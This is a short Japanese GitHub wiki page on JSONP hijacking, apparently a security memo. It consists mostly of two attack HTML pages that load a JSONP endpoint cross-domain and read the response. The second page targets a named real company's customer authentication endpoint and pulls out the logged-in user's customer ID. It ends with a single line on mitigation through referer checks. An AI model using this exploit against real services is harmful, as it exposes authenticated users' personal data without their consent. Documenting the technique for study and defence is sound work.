JSONPハイジャック 00 - yujitounai/helloworld GitHub Wiki

JSONPハイジャック/JSONP Hijack

JSONPで書き出されたファイルをクロスドメインで読み出す

攻撃コード

<html>
 <head>
  <meta http-equiv="content-type" content="text/html; charset='UTF-8'">
 </head>
  <body>
    <script>
      function test(s){
        alert(JSON.stringify(s));
      }
    </script>
    <script src="https://site/info_jsonp.func?callback=test"></script>
  </body>
</html>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <title>JSONP Hijack</title>
    <script type="text/javascript">
    var Rfapi={};
    Rfapi.cbAuth = function(data){
        document.getElementById('customerId').innerText = data.cust_id;
    }
    window.onload = function(){
        var script = document.createElement("script");
        script.type = "text/javascript";
        script.src ="https://mypage.mitsui-chintai.co.jp/rf_web/cstLogin/authCheck?callback=Rfapi.cbAuth&_=1606281822151";
        document.body.appendChild(script);
    }
    </script>
</head>
<body>
<p>customerId</p>
<div id="customerId">
</div>
</body>
</html>

対策

基本的にJSONPで書き出すのは危険 refererとかで対策するしかない

⚠️ **GitHub.com Fallback** ⚠️